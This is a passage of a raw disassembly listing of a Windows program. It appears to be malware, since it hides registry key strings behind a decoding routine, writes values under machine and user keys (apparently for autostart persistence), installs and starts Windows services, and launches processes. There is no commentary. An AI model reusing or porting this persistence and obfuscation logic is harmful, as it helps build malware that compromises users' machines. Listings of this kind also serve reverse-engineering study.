ebx call sub_13ABBE4 mov ecx, [esp+6E8h+var_6B4] push eax call sub_13ABBE4 mov ecx, [esp+6ECh+var_6C8] push eax call sub_13ABBE4 mov ecx, [esp+6F0h+var_6B8] push eax call sub_13ABBE4 mov ecx, [esp+6F4h+var_6C0] push eax call sub_13ABBE4 mov ecx, [esp+6F8h+var_6D0] push eax call sub_13ABBE4 mov ecx, [esp+6FCh+var_6CC] push eax call sub_13ABBE4 mov ecx, [esp+700h+var_6C4] push eax call sub_13ABBE4 mov ecx, [esp+704h+var_6BC] push eax call sub_13ABBE4 push eax push offset dword_443BDC lea edx, [esp+710h+var_6AC] push edx call sub_13AB42D add esp, 34h lea ecx, [esp+6E0h+var_64C] mov byte ptr [esp+6E0h+var_4], 0Bh call sub_13AB626 lea ecx, [esp+6E0h+var_5BC] mov byte ptr [esp+6E0h+var_4], 0Ah call sub_13AB626 lea ecx, [esp+6E0h+var_694] mov byte ptr [esp+6E0h+var_4], 9 call sub_13AB626 lea ecx, [esp+6E0h+var_58C] mov byte ptr [esp+6E0h+var_4], 8 call sub_13AB626 lea ecx, [esp+6E0h+var_5A4] mov byte ptr [esp+6E0h+var_4], 7 call sub_13AB626 lea ecx, [esp+6E0h+var_5D4] mov byte ptr [esp+6E0h+var_4], 6 call sub_13AB626 lea ecx, [esp+6E0h+var_61C] mov byte ptr [esp+6E0h+var_4], 5 call sub_13AB626 lea ecx, [esp+6E0h+var_67C] mov byte ptr [esp+6E0h+var_4], 4 call sub_13AB626 lea ecx, [esp+6E0h+var_664] mov byte ptr [esp+6E0h+var_4], 3 call sub_13AB626 lea ecx, [esp+6E0h+var_634] mov byte ptr [esp+6E0h+var_4], 2 call sub_13AB626 lea ecx, [esp+6E0h+var_604] mov byte ptr [esp+6E0h+var_4], 1 call sub_13AB626 lea eax, [esp+6E0h+var_6B0] push 0 push eax push 69h lea ecx, [esp+6ECh+var_6AC] call sub_13ABBE4 push eax push esi call WriteFile ; WriteFile push esi call CloseHandle ; CloseHandle mov ecx, 11h xor eax, eax lea edi, [esp+6E0h+var_564] push 104h rep stosd lea ecx, [esp+6E4h+var_41C] mov [esp+6E4h+var_564], 44h push ecx push eax mov [esp+6ECh+var_534], ax call GetModuleHandleA ; GetModuleHandleA push eax call GetModuleFileNameA ; GetModuleFileNameA lea edx, [esp+6E0h+var_41C] lea eax, [esp+6E0h+var_520] push edx push eax lea ecx, [esp+6E8h+var_214] push offset dword_443BC0 push ecx call wsprintfA ; wsprintfA add esp, 10h lea edx, [esp+6E0h+var_110] lea eax, [esp+6E0h+var_214] push 104h push edx push eax call ExpandEnvironmentStringsA ; ExpandEnvironmentStringsA lea ecx, [esp+6E0h+var_574] lea edx, [esp+6E0h+var_564] push ecx push edx push 0 push 0 push 28h push 1 push 0 lea eax, [esp+6FCh+var_110] push 0 push eax push 0 call CreateProcessA ; CreateProcessA lea ecx, [esp+6E0h+var_6AC] mov [esp+6E0h+var_4], 0FFFFFFFFh call sub_13AB626 pop edi pop ebp pop ebx mov al, 1 pop esi mov ecx, [esp+6D0h+var_C] mov large fs:0, ecx add esp, 6D0h retn ; --------------------------------------------------------------------------- loc_13B84B1: ; CODE XREF: sub_13B7F50+D6j mov ecx, [esp+6D4h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 6D0h retn sub_13B7F50 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B8630 proc near ; CODE XREF: sub_13ABB26j var_7C = byte ptr -7Ch var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_60 = byte ptr -60h var_5C = byte ptr -5Ch var_54 = byte ptr -54h var_40 = byte ptr -40h var_3C = byte ptr -3Ch var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_24 = byte ptr -24h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push 438F70h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_54] call sub_13AB824 lea ecx, [esp+80h+var_6C] mov [esp+80h+var_4], 0 call sub_13AB824 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_13AB824 push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_13ABDB5 add esp, 0CCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 3 call sub_13AC40E lea ecx, [esp+84h+var_28] mov [esp+84h+var_8], bl call sub_13AB626 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+158h+var_28] push 2Dh push ecx call sub_13ABDB5 add esp, 0DCh push eax lea ecx, [esp+88h+var_40] mov [esp+88h+var_8], 4 call sub_13AC40E lea ecx, [esp+88h+var_2C] mov byte ptr [esp+88h+var_C], bl call sub_13AB626 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+13Ch+var_2C] push 2Dh push edx call sub_13ABDB5 add esp, 0BCh push eax lea ecx, [esp+8Ch+var_5C] mov byte ptr [esp+8Ch+var_C], 5 call sub_13AC40E lea ecx, [esp+8Ch+var_30] mov [esp+8Ch+var_10], bl call sub_13AB626 lea eax, [esp+8Ch+var_7C] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+0A8h+var_60] call sub_13ABBE4 mov ebp, RegCreateKeyExA push eax push 80000002h call ebp ; RegCreateKeyExA mov esi, [esp+80h+arg_4] mov ecx, esi call sub_13ABA81 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_13ABA81 mov ebx, [esp+84h+arg_0] push eax push 1 push 0 mov ecx, ebx call sub_13ABA81 mov ecx, [esp+90h+var_70] push eax push ecx call RegSetValueExA ; RegSetValueExA mov edx, [esp+80h+var_70] push edx call RegCloseKey ; RegCloseKey push 0 lea eax, [esp+84h+var_70] lea ecx, [esp+84h+var_6C] push eax push 0 push 0F003Fh push 0 push 0 push 0 call sub_13ABBE4 push eax push 80000002h call ebp ; RegCreateKeyExA mov ecx, esi call sub_13ABA81 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_13ABA81 push eax push 1 push 0 mov ecx, ebx call sub_13ABA81 mov ecx, [esp+90h+var_70] push eax push ecx call RegSetValueExA ; RegSetValueExA mov edx, [esp+80h+var_70] push edx call RegCloseKey ; RegCloseKey lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_13ABBE4 push eax push 80000001h call ebp ; RegCreateKeyExA mov ecx, esi call sub_13ABA81 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_13ABA81 push eax push 1 push 0 mov ecx, ebx call sub_13ABA81 mov ecx, [esp+90h+var_70] push eax push ecx call RegSetValueExA ; RegSetValueExA mov edx, [esp+80h+var_70] push edx call RegCloseKey ; RegCloseKey lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_13ABBE4 push eax push 80000001h call ebp ; RegCreateKeyExA mov ecx, esi call sub_13ABA81 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_13ABA81 push eax push 1 push 0 mov ecx, ebx call sub_13ABA81 mov ecx, [esp+90h+var_70] push eax push ecx call RegSetValueExA ; RegSetValueExA mov edx, [esp+80h+var_70] push edx call RegCloseKey ; RegCloseKey lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_13ABBE4 push eax push 80000002h call ebp ; RegCreateKeyExA mov ecx, esi call sub_13ABA81 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_13ABA81 push eax push 1 push 0 mov ecx, ebx call sub_13ABA81 mov ecx, [esp+90h+var_70] push eax push ecx call RegSetValueExA ; RegSetValueExA mov edx, [esp+80h+var_70] push edx call RegCloseKey ; RegCloseKey lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_13AB626 lea ecx, [esp+80h+var_6C] mov byte ptr [esp+80h+var_4], 0 call sub_13AB626 lea ecx, [esp+80h+var_54] mov [esp+80h+var_4], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 8 sub_13B8630 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B8BB0 proc near ; CODE XREF: sub_13AB847j var_7C = byte ptr -7Ch var_78 = byte ptr -78h var_74 = byte ptr -74h var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_58 = byte ptr -58h var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_24 = byte ptr -24h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push 438FC0h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_6C] call sub_13AB824 lea ecx, [esp+80h+var_3C] mov [esp+80h+var_4], 0 call sub_13AB824 lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_13AB824 push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_13ABDB5 add esp, 0CCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 3 call sub_13AC40E lea ecx, [esp+84h+var_28] mov [esp+84h+var_8], bl call sub_13AB626 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+158h+var_28] push 2Dh push ecx call sub_13ABDB5 add esp, 0DCh push eax lea ecx, [esp+88h+var_58] mov [esp+88h+var_8], 4 call sub_13AC40E lea ecx, [esp+88h+var_2C] mov byte ptr [esp+88h+var_C], bl call sub_13AB626 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+13Ch+var_2C] push 2Dh push edx call sub_13ABDB5 add esp, 0BCh push eax lea ecx, [esp+8Ch+var_74] mov byte ptr [esp+8Ch+var_C], 5 call sub_13AC40E lea ecx, [esp+8Ch+var_30] mov [esp+8Ch+var_10], bl call sub_13AB626 lea eax, [esp+8Ch+var_7C] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+0A8h+var_78] call sub_13ABBE4 mov esi, RegCreateKeyExA push eax push 80000002h call esi ; RegCreateKeyExA mov edi, [esp+80h+arg_0] mov ecx, edi call sub_13ABA81 mov ecx, [esp+80h+var_70] mov ebp, RegDeleteValueA push eax push ecx call ebp ; RegDeleteValueA mov edx, [esp+80h+var_70] mov ebx, RegCloseKey push edx call ebx ; RegCloseKey lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_13ABBE4 push eax push 80000002h call esi ; RegCreateKeyExA mov ecx, edi call sub_13ABA81 mov ecx, [esp+80h+var_70] push eax push ecx call ebp ; RegDeleteValueA mov edx, [esp+80h+var_70] push edx call ebx ; RegCloseKey lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_13ABBE4 push eax push 80000002h call esi ; RegCreateKeyExA mov ecx, edi call sub_13ABA81 mov ecx, [esp+80h+var_70] push eax push ecx call ebp ; RegDeleteValueA mov edx, [esp+80h+var_70] push edx call ebx ; RegCloseKey lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_13ABBE4 push eax push 80000001h call esi ; RegCreateKeyExA mov ecx, edi call sub_13ABA81 mov ecx, [esp+80h+var_70] push eax push ecx call ebp ; RegDeleteValueA mov edx, [esp+80h+var_70] push edx call ebx ; RegCloseKey lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_13ABBE4 push eax push 80000001h call esi ; RegCreateKeyExA mov ecx, edi call sub_13ABA81 mov ecx, [esp+80h+var_70] push eax push ecx call ebp ; RegDeleteValueA mov edx, [esp+80h+var_70] push edx call ebx ; RegCloseKey lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_13AB626 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 0 call sub_13AB626 mov [esp+80h+var_4], 0FFFFFFFFh lea ecx, [esp+80h+var_6C] call sub_13AB626 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 4 sub_13B8BB0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B9040 proc near ; CODE XREF: sub_13AB897j var_54 = byte ptr -54h var_48 = byte ptr -48h var_3C = byte ptr -3Ch var_30 = byte ptr -30h var_24 = byte ptr -24h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_C = dword ptr 10h arg_10 = dword ptr 14h push 0FFFFFFFFh push 438FF8h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebx push esi mov esi, ecx lea ecx, [esp+5Ch+var_24] call sub_13AB824 push 104h push 104h lea ecx, [esp+64h+var_24] mov [esp+64h+var_4], 0 call sub_13AC05D push eax call GetSystemDirectoryA ; GetSystemDirectoryA lea ecx, [esp+50h+var_30] call sub_13AB824 mov ecx, [esp+50h+arg_10] mov [esp+50h+arg_4], 1 call sub_13ABBE4 push eax lea ecx, [esp+54h+var_18] call sub_13ABBE4 push eax lea eax, [esp+58h+var_30] push offset dword_443684 push eax call sub_13AB42D add esp, 10h lea ecx, [esp+50h+var_48] call sub_13AB824 lea ecx, [esp+50h+var_48] push offset dword_4437D4 push ecx mov [esp+58h+arg_4], 2 call sub_13AB42D mov ecx, [esp+58h+arg_C] add esp, 8 lea edx, [esp+50h+var_48] lea eax, [esp+50h+var_30] push edx push eax push ecx mov ecx, esi call sub_13AC553 lea ecx, [esp+5Ch+var_54] mov bl, al mov byte ptr [esp+5Ch+var_4], 1 call sub_13AB626 lea ecx, [esp+5Ch+var_3C] mov byte ptr [esp+5Ch+var_4], 0 call sub_13AB626 lea ecx, [esp+5Ch+var_24] mov [esp+5Ch+var_4], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+5Ch+var_C] mov al, bl pop esi pop ebx mov large fs:0, ecx add esp, 54h retn 8 sub_13B9040 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B9180 proc near ; CODE XREF: sub_13AC553j var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push 439018h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push ebp push esi push edi push 0F003Fh push offset dword_443C18 mov [esp+5Ch+var_44], ecx push 0 call OpenSCManagerA ; OpenSCManagerA mov edi, eax test edi, edi jnz short loc_13B91BF xor al, al jmp loc_13B9310 ; --------------------------------------------------------------------------- loc_13B91BF: ; CODE XREF: sub_13B9180+36j lea ecx, [esp+54h+var_24] call sub_13AB824 mov ecx, [esp+54h+arg_8] mov [esp+54h+var_4], 0 call sub_13ABBE4 mov ebx, [esp+54h+arg_4] push eax mov ecx, ebx call sub_13ABBE4 push eax lea eax, [esp+5Ch+var_24] push offset dword_443C0C push eax call sub_13AB42D add esp, 10h lea ecx, [esp+54h+var_24] push 0 push 0 push 0 push 0 push 0 call sub_13ABBE4 push eax push 1 push 2 push 20h push 0F01FFh mov ecx, offset dword_447884 call sub_13ABBE4 mov ebp, [esp+7Ch+arg_0] push eax mov ecx, ebp call sub_13ABBE4 push eax push edi call CreateServiceA ; CreateServiceA mov esi, eax xor ecx, ecx cmp esi, ecx jnz short loc_13B92A5 call GetLastError cmp eax, 431h jnz short loc_13B9289 mov ecx, [esp+50h+var_40] push ebp call sub_13ABD42 mov esi, CloseServiceHandle push 0 call esi ; CloseServiceHandle push edi call esi ; CloseServiceHandle mov ecx, [esp+4Ch+var_3C] push ebx push ebp call sub_13AB897 lea ecx, [esp+54h+var_24] mov bl, al mov [esp+54h+var_4], 0FFFFFFFFh call sub_13AB626 mov al, bl jmp loc_13B9310 ; --------------------------------------------------------------------------- loc_13B9289: ; CODE XREF: sub_13B9180+CBj push edi call CloseServiceHandle ; CloseServiceHandle lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], 0FFFFFFFFh call sub_13AB626 xor al, al jmp short loc_13B9310 ; --------------------------------------------------------------------------- loc_13B92A5: ; CODE XREF: sub_13B9180+BEj lea edx, [esp+50h+var_34] mov dword ptr [esp+50h+var_30], ecx mov [esp+50h+var_2C], ecx push edx mov eax, 1 or ebx, 0FFFFFFFFh lea ecx, [esp+54h+var_3C] push 2 push esi mov [esp+5Ch+var_38], eax mov [esp+5Ch+var_3C], eax mov [esp+5Ch+var_34], ebx mov [esp+5Ch+var_28], eax mov [esp+5Ch+var_24], ecx call ChangeServiceConfig2A ; ChangeServiceConfig2A test eax, eax push esi mov esi, CloseServiceHandle jnz short loc_13B92FC call esi ; CloseServiceHandle push edi call esi ; CloseServiceHandle lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_13AB626 xor al, al jmp short loc_13B9310 ; --------------------------------------------------------------------------- loc_13B92FC: ; CODE XREF: sub_13B9180+164j call esi ; CloseServiceHandle push edi call esi ; CloseServiceHandle lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_13AB626 mov al, 1 loc_13B9310: ; CODE XREF: sub_13B9180+3Aj ; sub_13B9180+104j ... mov ecx, [esp+54h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 44h retn 0Ch sub_13B9180 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B93A0 proc near ; CODE XREF: sub_13ABD42j var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push esi push edi push 0F003Fh push offset dword_443C18 push 0 call OpenSCManagerA ; OpenSCManagerA mov edi, eax test edi, edi jnz short loc_13B93C7 pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_13B93C7: ; CODE XREF: sub_13B93A0+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_13ABBE4 push eax push edi call OpenServiceA ; OpenServiceA mov esi, eax test esi, esi jnz short loc_13B93F4 push edi call CloseServiceHandle ; CloseServiceHandle pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_13B93F4: ; CODE XREF: sub_13B93A0+41j lea eax, [esp+24h+var_1C] push eax push 1 push esi call ControlService ; ControlService push esi call DeleteService ; DeleteService push esi mov esi, CloseServiceHandle call esi ; CloseServiceHandle push edi call esi ; CloseServiceHandle pop edi mov al, 1 pop esi add esp, 1Ch retn 4 sub_13B93A0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B9440 proc near ; CODE XREF: sub_13AC3B4j arg_0 = dword ptr 4 push esi push 0F003Fh push offset dword_443C18 push 0 call OpenSCManagerA ; OpenSCManagerA mov esi, eax test esi, esi jnz short loc_13B945F xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_13B945F: ; CODE XREF: sub_13B9440+17j mov ecx, [esp+4+arg_0] push 0F01FFh call sub_13ABBE4 push eax push esi call OpenServiceA ; OpenServiceA test eax, eax jnz short loc_13B9486 push esi call CloseServiceHandle ; CloseServiceHandle xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_13B9486: ; CODE XREF: sub_13B9440+37j push edi mov edi, CloseServiceHandle push eax call edi ; CloseServiceHandle push esi call edi ; CloseServiceHandle pop edi mov al, 1 pop esi retn 4 sub_13B9440 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B94C0 proc near ; CODE XREF: sub_13AC3DCj arg_0 = dword ptr 4 push esi push edi push 0F003Fh push offset dword_443C18 push 0 call OpenSCManagerA ; OpenSCManagerA mov edi, eax test edi, edi jnz short loc_13B94E1 pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_13B94E1: ; CODE XREF: sub_13B94C0+18j mov ecx, [esp+8+arg_0] push 0F01FFh call sub_13ABBE4 push eax push edi call OpenServiceA ; OpenServiceA mov esi, eax test esi, esi jnz short loc_13B950B push edi call CloseServiceHandle ; CloseServiceHandle pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_13B950B: ; CODE XREF: sub_13B94C0+3Bj push 0 push 0 push esi call StartServiceA ; StartServiceA push esi mov esi, CloseServiceHandle call esi ; CloseServiceHandle push edi call esi ; CloseServiceHandle pop edi mov al, 1 pop esi retn 4 sub_13B94C0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B9550 proc near ; CODE XREF: sub_13AB8A1j var_B4 = byte ptr -0B4h var_A8 = byte ptr -0A8h var_9C = byte ptr -9Ch var_98 = byte ptr -98h var_90 = byte ptr -90h var_88 = byte ptr -88h var_84 = byte ptr -84h var_80 = byte ptr -80h var_78 = byte ptr -78h var_70 = byte ptr -70h var_6C = byte ptr -6Ch var_5C = byte ptr -5Ch var_58 = byte ptr -58h var_54 = dword ptr -54h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_44 = byte ptr -44h var_40 = byte ptr -40h var_38 = dword ptr -38h var_34 = byte ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push 439068h push eax mov large fs:0, esp sub esp, 60h push ebx push esi mov esi, [esp+74h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+19h] call sub_13AB8D3 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jnz loc_13B964A push 1 push offset dword_443600 lea eax, [esp+84h+var_58] push 1 push eax mov ecx, esi call sub_13AB5EA push 1 push offset dword_443600 lea ecx, [esp+94h+var_80] push 2 xor ebx, ebx push ecx mov ecx, esi mov [esp+9Ch+var_18], ebx call sub_13AB5EA lea edx, [esp+9Ch+var_90] lea eax, [esp+9Ch+var_78] push edx push eax mov ecx, edi mov byte ptr [esp+0A4h+var_28], 1 call sub_13ABB26 test al, al jz short loc_13B9616 lea ecx, [esp+0A4h+var_98] call sub_13ABBE4 push eax lea ecx, [esp+0A8h+var_80] call sub_13ABBE4 push eax push offset dword_443C78 lea ecx, [esi+69h] call sub_13AB8D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_E19CC5 call sub_13ABC48 add esp, 1Ch loc_13B9616: ; CODE XREF: sub_13B9550+87j lea ecx, [esp+0A4h+var_98] mov byte ptr [esp+0A4h+var_30], bl call sub_13AB626 lea ecx, [esp+0A4h+var_80] mov [esp+0A4h+var_30], 0FFFFFFFFh call sub_13AB626 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+98h+var_38] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_13B964A: ; CODE XREF: sub_13B9550+36j lea ecx, [edi+47h] call sub_13AB8D3 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jnz loc_13B96E9 push 1 push offset dword_443600 lea eax, [esp+88h+var_5C] push 1 push eax mov ecx, esi call sub_13AB5EA lea ecx, [esp+90h+var_6C] mov [esp+90h+var_1C], 2 push ecx mov ecx, edi call sub_13AB847 test al, al jz short loc_13B96C2 lea ecx, [esp+94h+var_70] call sub_13ABBE4 push eax push offset dword_443C64 lea ecx, [esi+69h] call sub_13AB8D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_E19CC5 call sub_13ABC48 add esp, 18h loc_13B96C2: ; CODE XREF: sub_13B9550+13Dj lea ecx, [esp+94h+var_70] mov [esp+94h+var_20], 0FFFFFFFFh call sub_13AB626 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+88h+var_28] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_13B96E9: ; CODE XREF: sub_13B9550+10Cj lea ecx, [edi+75h] call sub_13AB8D3 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jnz loc_13B97FF push 1 push offset dword_443600 lea ecx, [esp+8Ch+var_48] push 1 push ecx mov ecx, esi call sub_13AB5EA push 1 push offset dword_443600 lea edx, [esp+9Ch+var_88] push 2 push edx mov ecx, esi mov [esp+0A4h+var_20], 3 call sub_13AB5EA push 1 push offset dword_443600 lea eax, [esp+0ACh+var_80] mov bl, 4 push 3 push eax mov ecx, esi mov byte ptr [esp+0B4h+var_30], bl call sub_13AB5EA lea ecx, [esp+0B4h+var_90] lea edx, [esp+0B4h+var_A8] push ecx lea eax, [esp+0B8h+var_78] push edx push eax mov ecx, edi mov [esp+0C0h+var_40], 5 call sub_13AC553 test al, al jz short loc_13B97BD lea ecx, [esp+0C0h+var_9C] call sub_13ABBE4 push eax lea ecx, [esp+0C4h+var_B4] call sub_13ABBE4 push eax lea ecx, [esp+0C8h+var_84] call sub_13ABBE4 push eax push offset dword_443C40 lea ecx, [esi+69h] call sub_13AB8D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_E19CC5 call sub_13ABC48 add esp, 20h loc_13B97BD: ; CODE XREF: sub_13B9550+224j lea ecx, [esp+0C0h+var_9C] mov byte ptr [esp+0C0h+var_4C], bl call sub_13AB626 lea ecx, [esp+0C0h+var_B4] mov byte ptr [esp+0C0h+var_4C], 3 call sub_13AB626 lea ecx, [esp+0C0h+var_84] mov [esp+0C0h+var_4C], 0FFFFFFFFh call sub_13AB626 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+0B4h+var_54] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_13B97FF: ; CODE XREF: sub_13B9550+1ABj lea ecx, [edi+0A3h] call sub_13AB8D3 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jnz 